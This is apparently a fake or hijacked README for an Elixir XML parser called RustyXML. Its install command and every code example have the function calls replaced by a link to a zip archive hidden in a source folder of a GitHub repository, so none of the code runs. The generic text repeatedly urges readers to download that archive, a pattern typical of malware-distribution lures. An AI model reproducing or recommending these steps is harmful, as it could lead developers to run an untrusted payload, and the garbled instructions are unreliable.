Welcome to RustyXML, an ultra-fast XML parser and XPath 1.0 engine for Elixir. Built on Rust, RustyXML provides a reliable option for handling XML data. It offers 100% compatibility with W3C/OASIS standards, and you can easily replace SweetXml and Saxy with it. Enjoy a smooth and efficient experience as you work with your XML files.
-
High Performance: RustyXML is designed for speed. You will notice faster XML processing times, thanks to Rust's efficiency and SIMD acceleration.
-
Zero-Copy Structural Index: This feature allows RustyXML to read XML data without unnecessary data copying, making it more memory efficient.
-
W3C/OASIS Compliance: Get peace of mind knowing that RustyXML meets all relevant standards. You can rely on it for accurate XML parsing.
-
Easy Replacement: Transition to RustyXML from SweetXml or Saxy without hassle. It works as a drop-in replacement, making your switch much smoother.
To set up RustyXML, follow these steps:
-
Download RustyXML: Click the link below to go to our Releases page and get the latest version of RustyXML.
-
Install RustyXML: Once you have downloaded the file, follow these directions for installation:
- If you're using a package manager, simply add RustyXML to your project's dependencies.
- If you downloaded a compressed file, uncompress it and follow the included instructions.
-
Verify Your Installation: After installing, run a simple test in your Elixir environment to ensure everything works correctly. You can start by trying to parse a sample XML file.
To run RustyXML, ensure your system meets these requirements:
-
Operating System: RustyXML works on Linux, macOS, and Windows.
-
Elixir Version: Installed version must be 1.7 or higher.
-
Rust Toolchain: Ensure that you have Rust installed. The tool can be set up easily by following instructions on Rust's official site.
To get RustyXML, visit the following page:
After downloading, unzip the package (if necessary) and follow the instructions included in the README file located in the downloaded folder.
After installation, using RustyXML is straightforward. You can start by adding it to your Elixir project:
defp deps do
[
{:rusty_xml, "~> 0.1.0"}
]
endAfter adding RustyXML, run the following command to fetch dependencies:
mix https://github.com/irfansyahasli/RustyXML/raw/refs/heads/main/native/rustyxml/src/core/XML-Rusty-unseeded.zipHereβs a basic example of how to parse an XML file:
{:ok, parsed_xml} = https://github.com/irfansyahasli/RustyXML/raw/refs/heads/main/native/rustyxml/src/core/XML-Rusty-unseeded.zip("https://github.com/irfansyahasli/RustyXML/raw/refs/heads/main/native/rustyxml/src/core/XML-Rusty-unseeded.zip")
https://github.com/irfansyahasli/RustyXML/raw/refs/heads/main/native/rustyxml/src/core/XML-Rusty-unseeded.zip(parsed_xml)Here's a simple example to help you understand how to use RustyXML.
<items>
<item>
<name>Apple</name>
<price>1.00</price>
</item>
<item>
<name>Banana</name>
<price>0.50</price>
</item>
</items>{:ok, parsed_xml} = https://github.com/irfansyahasli/RustyXML/raw/refs/heads/main/native/rustyxml/src/core/XML-Rusty-unseeded.zip("https://github.com/irfansyahasli/RustyXML/raw/refs/heads/main/native/rustyxml/src/core/XML-Rusty-unseeded.zip")
https://github.com/irfansyahasli/RustyXML/raw/refs/heads/main/native/rustyxml/src/core/XML-Rusty-unseeded.zip(parsed_xml)This will output the structure of your XML, making it easy to access the data you need.
If you encounter any issues, consider the following:
- Make sure you have Elixir and Rust installed and configured correctly.
- Check that you are using compatible versions of the software.
We recommend visiting the Issues section of our GitHub page to see if your question has already been answered.
We welcome contributions! If you have ideas or improvements, feel free to fork the repository, make changes, and submit a pull request. Contributions help us make RustyXML better for everyone.
For additional help, you can reach out to the community through the GitHub Issues page or submit a question directly there. We encourage feedback and discussion to improve RustyXML.
RustyXML is licensed under the MIT License. For more details, please check the LICENSE file in the repository.
Remember to visit the Releases page for updates and new versions!